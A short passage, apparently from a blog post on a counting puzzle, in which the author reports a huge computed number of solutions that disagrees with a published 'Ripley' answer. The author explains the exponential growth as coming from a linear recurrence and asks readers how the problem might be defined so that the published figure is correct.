But this time the output was much higher than the published amount: It was $$1296142333713114950908964121341365887827473814688245139610006400624$$. Asymptotically the number of solutions is exponential (because what we are computing is just a linear recurrence) but even with a low base, exponentiating $$500$$ produces big numbers. So this raises a puzzle: can anyone come up with a reasonable definition of the problem for which the Ripley answer is correct?